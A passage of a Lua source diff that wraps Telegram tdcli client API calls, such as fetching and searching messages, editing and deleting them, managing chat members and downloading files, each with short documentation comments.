@message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = 